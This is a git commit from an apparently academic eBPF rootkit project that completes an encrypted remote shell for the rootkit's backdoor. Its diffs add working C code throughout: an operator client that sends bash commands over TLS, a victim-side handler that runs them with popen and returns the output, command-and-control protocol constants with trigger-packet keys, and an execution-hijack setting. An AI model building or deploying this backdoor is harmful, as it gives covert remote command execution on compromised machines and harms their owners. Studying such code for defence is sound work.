Finished encrypted interactive shell and encrypted protocol implementation, V2 rootkit now fully functional

This commit is contained in:
h3xduck
2022-05-07 17:55:27 -04:00
parent f6a4c1daa0
commit ce7d36371d
11 changed files with 1935 additions and 2702 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -188,6 +188,7 @@ void activate_command_control_shell(char* argv){
free(local_ip); free(local_ip);
} }
//Rootkit backdoor V2
void activate_command_control_shell_encrypted(char* argv){ void activate_command_control_shell_encrypted(char* argv){
char* local_ip = getLocalIpAddress(); char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv); printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);

Binary file not shown.

View File

@@ -0,0 +1,55 @@
#ifndef __CLIENT_COMMON_H
#define __CLIENT_COMMON_H
#include "openssl/err.h"
#include "openssl/ssl.h"
#include <arpa/inet.h>
#include <errno.h>
#include <malloc.h>
#include <netinet/in.h>
#include <resolv.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include "../../common/c&c.h"
#define KGRN "\x1B[32m"
#define KYLW "\x1B[33m"
#define KBLU "\x1B[34m"
#define KMGN "\x1B[35m"
#define KRED "\x1B[31m"
#define RESET "\x1B[0m"
#define CLIENT_MODE_LIVE_COMMAND 0
//Global variable, specifying current client mode
int client_mode = CLIENT_MODE_LIVE_COMMAND;
#define GC_SERVER_CLOSE_CONN "EXIT"
/**
* @brief Manages the result of a possible global command understood by the client overall
* (independent of the current mode) and returns 1 if it really was a global command
* or 0 if it was not.
*
* @param buf
* @return int
*/
int manage_global_command(char* buf, SSL* ssl){
if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
if(ssl != NULL){
//If in a ssl connection
char* request = CC_PROT_FIN;
SSL_write(ssl, request, strlen(request));
//We must exit now
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
exit(0);
}
}
//Not a recognized global command
return 0;
}
#endif

View File

@@ -13,141 +13,75 @@
#include <sys/types.h> #include <sys/types.h>
#include <unistd.h> #include <unistd.h>
#include "../../common/c&c.h"
#include "common.h"
#define FAIL -1 #define FAIL -1
#define USE_FUNCTIONS 0 /**
* @brief Operates input in command shell mode.
#if (USE_FUNCTIONS) * Returns whether the connection should keep open (0) or not (otherwise)
SSL_CTX *InitServerCTX(void) { *
const SSL_METHOD *method; * @param buf
SSL_CTX *ctx; * @param ssl
* @return int
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */ */
SSL_load_error_strings(); /* load all error messages */ int live_command_shell_mode(char* buf, SSL *ssl){
method = TLSv1_2_server_method(); /* create new server-method instance */ int is_global_command = manage_global_command(buf, ssl);
ctx = SSL_CTX_new(method); /* create new context from method */ if(is_global_command == 1){
if (ctx == NULL) { //Already finished then, go to next command input
ERR_print_errors_fp(stderr); return 0;
abort();
}
return ctx;
}
void LoadCertificates(SSL_CTX *ctx, const char *CertFile, const char *KeyFile) {
/* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, CertFile, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr);
instructionsForPem();
abort();
} }
/* set the private key from KeyFile (may be the same as CertFile) */ //Not a global command, proceeding to analyze in live command shell mode
if (SSL_CTX_use_PrivateKey_file(ctx, KeyFile, SSL_FILETYPE_PEM) <= 0) { int bytes;
ERR_print_errors_fp(stderr); char* request = calloc(4096, sizeof(char));
instructionsForPem(); strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
abort(); strcat(request, buf);
} SSL_write(ssl, request, strlen(request));
/* verify private key */ bytes = SSL_read(ssl, buf, BUFSIZ);
if (!SSL_CTX_check_private_key(ctx)) {
fprintf(stderr, "Private key does not match the public certificate\n");
abort();
}
}
// Create the SSL socket and intialize the socket address structure
int OpenListener(int port) {
int sd;
struct sockaddr_in addr;
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
perror("can't bind port");
abort();
}
if (listen(sd, 10) != 0) {
perror("Can't configure listening port");
abort();
}
return sd;
}
void ShowCerts(SSL *ssl) //? RBW
{
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
free(line);
X509_free(cert);
} else {
printf("No certificates.\n");
}
}
/* Serve the connection -- threadable */
void Servlet(SSL *ssl) {
char buf[1024] = {0};
int sd, bytes;
// this is my attempt to run HTTPS.. This is sort of the minimal header that
// seems to work. \r is absolutely necessary.
const char *szHelloWorld =
"HTTP/1.1 200 OK\r\n"
"Content-type: text/html\r\n"
"\r\n"
"<html>\n"
"<body>\n"
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
ERR_print_errors_fp(stderr);
} else {
ShowCerts(ssl); /* get any certificates */
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */
buf[bytes] = '\0'; buf[bytes] = '\0';
//If valid message in protocol, we proceed to parse it
printf("Client msg:\n[%s]\n", buf); if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
if (bytes > 0) { if (bytes > 0) {
printf("Reply with:\n[%s]\n", szHelloWorld); //printf("Reply with:\n[%s]\n", response);
SSL_write(ssl, szHelloWorld, strlen(szHelloWorld)); char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if(p){
//Print response
printf("%s\n", p);
}else{
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
}
} else { } else {
ERR_print_errors_fp(stderr); ERR_print_errors_fp(stderr);
} }
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
}else{
//If at this point, then we failed to identify the backdoor message
//We attempt to send a final message indicating we are halting the connection
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
const char *response = CC_PROT_FIN;
SSL_write(ssl, response, strlen(response));
return -1;
} }
sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */ //Connection should keep open
close(sd); /* close connection */ return 0;
} }
#endif
int server_run(int port) { int server_run(int port) {
SSL_CTX *ctx; SSL_CTX *ctx;
int server; int server;
const char *szPemPublic = "mycert.pem"; const char *szPemPublic = "mycert.pem";
const char *szPemPrivate = "mycert.pem"; const char *szPemPrivate = "mycert.pem";
#if (!(USE_FUNCTIONS))
const SSL_METHOD *method; const SSL_METHOD *method;
#endif
if (port < 1024) { if (port < 1024) {
if (getuid() != 0) { if (getuid() != 0) {
@@ -160,9 +94,6 @@ int server_run(int port) {
SSL_library_init(); /* Initialize the SSL library */ SSL_library_init(); /* Initialize the SSL library */
#if (USE_FUNCTIONS)
ctx = InitServerCTX(); /* initialize SSL */
#else
// InitServerCTX (); // InitServerCTX ();
OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */ OpenSSL_add_all_algorithms(); /* load & register all cryptos, etc. */
SSL_load_error_strings(); /* load all error messages */ SSL_load_error_strings(); /* load all error messages */
@@ -172,11 +103,7 @@ int server_run(int port) {
ERR_print_errors_fp(stderr); ERR_print_errors_fp(stderr);
abort(); abort();
} }
#endif
#if (USE_FUNCTIONS)
LoadCertificates(ctx, szPemPublic, szPemPrivate); /* load certs */
#else
/* set the local certificate from CertFile */ /* set the local certificate from CertFile */
if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) { if (SSL_CTX_use_certificate_file(ctx, szPemPublic, SSL_FILETYPE_PEM) <= 0) {
ERR_print_errors_fp(stderr); ERR_print_errors_fp(stderr);
@@ -194,11 +121,7 @@ int server_run(int port) {
fprintf(stderr, "Private key does not match the public certificate\n"); fprintf(stderr, "Private key does not match the public certificate\n");
abort(); abort();
} }
#endif
#if (USE_FUNCTIONS)
server = OpenListener(portnum); /* create server socket */
#else
struct sockaddr_in addr; struct sockaddr_in addr;
server = socket(PF_INET, SOCK_STREAM, 0); server = socket(PF_INET, SOCK_STREAM, 0);
@@ -214,83 +137,69 @@ int server_run(int port) {
perror("Can't configure listening port"); perror("Can't configure listening port");
abort(); abort();
} }
#endif
for (;;) { for (;;) {
struct sockaddr_in addr; struct sockaddr_in addr;
socklen_t len = sizeof(addr); socklen_t len = sizeof(addr);
SSL *ssl; SSL *ssl;
#if (!(USE_FUNCTIONS))
char buf[1024] = {0}; char buf[1024] = {0};
int sd, bytes; int sd;
// this is my attempt to run HTTPS.. This is sort of the minimal header that
// seems to work. \r is absolutely necessary.
const char *response =
"HTTP/1.1 200 OK\r\n"
"Content-type: text/html\r\n"
"\r\n"
"<html>\n"
"<body>\n"
"<h1>So, this works, if you added a security exception to your web "
"browser</h1>\n"
"<h2>Or.... are using a genuine certificate.</h2>\n"
"<h3>This is <u><i>NOT</i></u> using functions BTW..</h3>\n"
"</body>\n"
"</html>\n";
#endif
int client; int client;
printf("Listening for connections\n"); printf("[" KBLU "INFO" RESET "]""Listening for connections\n");
client = accept(server, (struct sockaddr *)&addr, client = accept(server, (struct sockaddr *)&addr,
&len); /* accept connection as usual */ &len); /* accept connection as usual */
printf("Connection: %s:%d\n", inet_ntoa(addr.sin_addr), printf("[" KGRN "SUCCESS" RESET "]""Connection established: %s:%d\n", inet_ntoa(addr.sin_addr),
ntohs(addr.sin_port)); ntohs(addr.sin_port));
ssl = SSL_new(ctx); /* get new SSL state with context */ ssl = SSL_new(ctx); /* get new SSL state with context */
SSL_set_fd(ssl, client); /* set connection socket to SSL state */ SSL_set_fd(ssl, client); /* set connection socket to SSL state */
#if (USE_FUNCTIONS)
Servlet(ssl); /* service connection */ if (SSL_accept(ssl) == FAIL){ /* do SSL-protocol accept */
#else
if (SSL_accept(ssl) == FAIL) /* do SSL-protocol accept */
{
ERR_print_errors_fp(stderr); ERR_print_errors_fp(stderr);
} else { } else {
X509 *cert; X509 *cert;
char *line; char *line;
cert = cert = SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
SSL_get_peer_certificate(ssl); /* Get certificates (if available) */
if (cert != NULL) { if (cert != NULL) {
printf("Server certificates:\n"); printf("[" KBLU "INFO" RESET "]""Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0); line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line); printf("[" KBLU "INFO" RESET "]"
"Subject: %s\n",
line);
free(line); free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0); line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line); printf("[" KBLU "INFO" RESET "]""Issuer: %s\n",line);
free(line); free(line);
X509_free(cert); X509_free(cert);
} else { } else {
printf("No certificates.\n"); printf("[" KYLW "WARN" RESET "]""Client has no certificate.\n");
} }
// ShowCerts (ssl); /* get any certificates */ int connection_terminate = 0;
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get request */ printf("[" KBLU "INFO" RESET "]""Live command shell mode active by default\n");
buf[bytes] = '\0'; while(connection_terminate==0){
char buf[BUFSIZ];
printf("Client msg:\n[%s]\n", buf); //Depending on the mode, we show different UI and commands
switch(client_mode){
if (bytes > 0) { case CLIENT_MODE_LIVE_COMMAND:
printf("Reply with:\n[%s]\n", response); printf(">> client["""KYLW"command live"RESET"""]>: ");
SSL_write(ssl, response, strlen(response)); fgets(buf, BUFSIZ, stdin);
} else { if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
ERR_print_errors_fp(stderr); buf[strlen(buf)-1] = '\0';
}
connection_terminate = live_command_shell_mode(buf, ssl);
break;
default:
printf("Invalid client mode, fatal error, halting\n");
exit(FAIL);
}
} }
} }
sd = SSL_get_fd(ssl); /* get socket connection */ sd = SSL_get_fd(ssl); /* get socket connection */
SSL_free(ssl); /* release SSL state */ SSL_free(ssl); /* release SSL state */
close(sd); /* close connection */ close(sd); /* close connection */
#endif
// break;
} }
close(server); /* close server socket */ close(server); /* close server socket */

Binary file not shown.

View File

@@ -1,14 +1,18 @@
#ifndef __BPF_CC_H #ifndef __BPF_CC_H
#define __BPF_CC_H #define __BPF_CC_H
//C&C V0 //C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
//Protocol messages are also used in the secure channel of V2 & V3 backdoor
#define CC_PROT_SYN "CC_SYN" #define CC_PROT_SYN "CC_SYN"
#define CC_PROT_ACK "CC_ACK" #define CC_PROT_ACK "CC_ACK"
#define CC_PROT_MSG "CC_MSG#" #define CC_PROT_MSG "CC_MSG#"
#define CC_PROT_FIN_PART "CC_FIN" #define CC_PROT_FIN_PART "CC_FIN"
#define CC_PROT_ERR "CC_ERR"
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART #define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
//C&C V1 -- bpv47-like trigger + encrypted shell //C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10 #define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4" #define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13" #define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
@@ -17,7 +21,7 @@
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0 #define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
//C&C V2 -- Distributed hidden payload in packet stream //C&C V3 -- Distributed hidden payload in packet stream
struct trigger_t { struct trigger_t {
unsigned char xor_key; unsigned char xor_key;
unsigned int ip; unsigned int ip;

View File

@@ -20,7 +20,7 @@
//EXECUTION HIJACKING //EXECUTION HIJACKING
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0" #define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
#define EXEC_HIJACK_ACTIVE_TEMP 1 #define EXEC_HIJACK_ACTIVE_TEMP 0
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash" #define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1 #define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1

View File

@@ -17,87 +17,46 @@
abort(); \ abort(); \
} while (0) } while (0)
#define USE_FUNCTIONS 0 /**
* @brief Executes a command in a pseudo terminal and returns stdout result
*
* @param command
* @return char*
*/
char *execute_command(char *command) {
FILE *fp;
char *res = calloc(4096, sizeof(char));
char buf[1024];
#if (USE_FUNCTIONS) fp = popen(command, "r");
int OpenConnection(const char *hostname, uint16_t port) { if (fp == NULL) {
int sd; perror("Failed to run command");
struct hostent *host; return NULL;
struct sockaddr_in addr;
if ((host = gethostbyname(hostname)) == NULL) {
perror(hostname);
LOCAL_ABORT();
} }
sd = socket(PF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = *(long *)(host->h_addr);
if (connect(sd, (struct sockaddr *)&addr, sizeof(addr)) != 0) { while (fgets(buf, sizeof(buf), fp) != NULL) {
close(sd); strcat(res, buf);
perror(hostname);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
port);
LOCAL_ABORT();
} }
return sd; // printf("RESULT OF COMMAND: %s\n", res);
}
SSL_CTX *InitCTX(void) { pclose(fp);
const SSL_METHOD *method; return res;
SSL_CTX *ctx;
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */
method = TLSv1_2_client_method(); /* Create new client-method instance */
ctx = SSL_CTX_new(method); /* Create new context */
if (ctx == NULL) {
ERR_print_errors_fp(stderr);
LOCAL_ABORT();
} }
return ctx;
}
void ShowCerts(SSL *ssl) { int client_run(char *hostname, uint16_t portnum) {
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL) {
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line); /* free the malloc'ed string */
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n\n", line);
free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
} else {
printf("Info: No client certificates configured.\n");
}
}
#endif
int client_run(char* hostname, uint16_t portnum) {
SSL_CTX *ctx; SSL_CTX *ctx;
int server; int server;
SSL *ssl; SSL *ssl;
static char buf[1024 * 1024]; static char buf[1024 * 1024];
int bytes; int bytes;
#if (!(USE_FUNCTIONS))
struct hostent *host; struct hostent *host;
struct sockaddr_in addr; struct sockaddr_in addr;
const SSL_METHOD *method; const SSL_METHOD *method;
#endif
// Initialize the SSL library // Initialize the SSL library
SSL_library_init(); SSL_library_init();
#if (USE_FUNCTIONS)
ctx = InitCTX();
server = OpenConnection(hostname, portnum);
#else
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */ OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error messages */ SSL_load_error_strings(); /* Bring in and register error messages */
method = TLSv1_2_client_method(); /* Create new client-method instance */ method = TLSv1_2_client_method(); /* Create new client-method instance */
@@ -117,72 +76,107 @@ int client_run(char* hostname, uint16_t portnum) {
addr.sin_port = htons(portnum); addr.sin_port = htons(portnum);
addr.sin_addr.s_addr = *(long *)(host->h_addr); addr.sin_addr.s_addr = *(long *)(host->h_addr);
int conn_tries = 3;
while (conn_tries >= 0) {
if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) { if (connect(server, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
if (conn_tries > 1) {
conn_tries--;
printf("Failed to connect, trying again. Remaining tries: %i\n",
conn_tries);
sleep(1);
continue;
}
close(server); close(server);
perror(hostname); perror(hostname);
fprintf(stderr, "Is the server running, and on the correct port (%d)?\n", fprintf(stderr, "Is the server running, and on the correct port (%d)?\n",
portnum); portnum);
LOCAL_ABORT(); LOCAL_ABORT();
} else {
// Connected
conn_tries = -1;
}
} }
#endif
ssl = SSL_new(ctx); /* create new SSL connection state */ ssl = SSL_new(ctx); /* create new SSL connection state */
SSL_set_fd(ssl, server); /* attach the socket descriptor */ SSL_set_fd(ssl, server); /* attach the socket descriptor */
if (SSL_connect(ssl) <= 0) /* perform the connection */ conn_tries = 3;
{ int connection_terminate = 0;
while (conn_tries > 0 && connection_terminate == 0) {
if (SSL_connect(ssl) <= 0) {
// Connection failed
conn_tries--;
printf("Failed to establish SSL connection, trying again. Remaining "
"tries: %i\n",
conn_tries);
ERR_print_errors_fp(stderr); ERR_print_errors_fp(stderr);
sleep(1);
} else { } else {
#if (!(USE_FUNCTIONS)) // Connection success
X509 *cert; X509 *cert;
char *line; char *line;
#endif conn_tries = 0;
char request[4096]; printf("\nConnected with %s encryption\n", SSL_get_cipher(ssl));
sprintf(request,
"GET / HTTP/1.1\r\n"
"User-Agent: Wget/1.17.1 (linux-gnu)\r\n"
"Accept: */*\r\n"
"Accept-Encoding: identity\r\n"
"Host: %s:%d\r\n"
// "Connection: Keep-Alive\n"
"\r\n",
hostname, portnum);
printf("Sending:\n[%s]\n", request);
printf("\n\nConnected with %s encryption\n", SSL_get_cipher(ssl));
#if (USE_FUNCTIONS)
ShowCerts(ssl); /* get any certs */
#else
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */ cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if (cert != NULL) { if (cert != NULL) {
printf("Server certificates:\n"); printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0); line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line); printf("Subject: %s\n", line);
free(line); /* free the malloc'ed string */ free(line);
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0); line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n\n", line); printf("Issuer: %s\n\n", line);
free(line); /* free the malloc'ed string */ free(line);
X509_free(cert); /* free the malloc'ed certificate copy */ X509_free(cert);
} else { } else {
printf("Info: No client certificates configured.\n"); printf("Info: No client certificates configured.\n");
} }
#endif
SSL_write(ssl, request, strlen(request)); /* encrypt & send message */ while(connection_terminate == 0){
bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */ bytes = SSL_read(ssl, buf, sizeof(buf)); // Get request
buf[bytes] = 0; buf[bytes] = '\0';
printf("Received (%d bytes):\n[%s]\n", bytes, buf);
// second send.. - for my real web page, it comes in two parts. printf("Raw server msg:\n[%s]\n", buf);
// bytes = SSL_read (ssl, buf, sizeof (buf)); /* get reply & decrypt */
// buf[bytes] = 0;
// printf ("Received (%d bytes):\n[%s]\n", bytes, buf);
SSL_free(ssl); /* release connection state */ // If valid message in protocol, we proceed to parse it
if (strncmp(buf, CC_PROT_BASH_COMMAND_REQUEST, strlen(CC_PROT_BASH_COMMAND_REQUEST)) == 0) {
if (bytes > 0) {
// printf("Reply with:\n[%s]\n", response);
char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if (p) {
char *res = execute_command(p);
char *response = calloc(4096, sizeof(char));
if(res==NULL){
strcpy(response, CC_PROT_ERR);
}else{
strcpy(response, CC_PROT_BASH_COMMAND_RESPONSE);
strcat(response, res);
}
printf("Answering: \n%s\n", response);
SSL_write(ssl, response, strlen(response));
free(response);
} else {
printf("Could not parse message correctly, ignoring\n");
}
} else {
ERR_print_errors_fp(stderr);
}
}else if (strncmp(buf, CC_PROT_FIN, strlen(CC_PROT_FIN)) == 0) {
printf("Server requested to stop the connection\n");
connection_terminate = 1;
}else {
//If at this point, then we failed to identify the server message
printf("Message not recognizable: %s\n", buf);
char *response = CC_PROT_ERR;
SSL_write(ssl, response, strlen(response));
}
} }
}
}
printf("SSL client closed\n");
close(server); /* close socket */ close(server); /* close socket */
SSL_CTX_free(ctx); /* release context */ SSL_CTX_free(ctx); /* release context */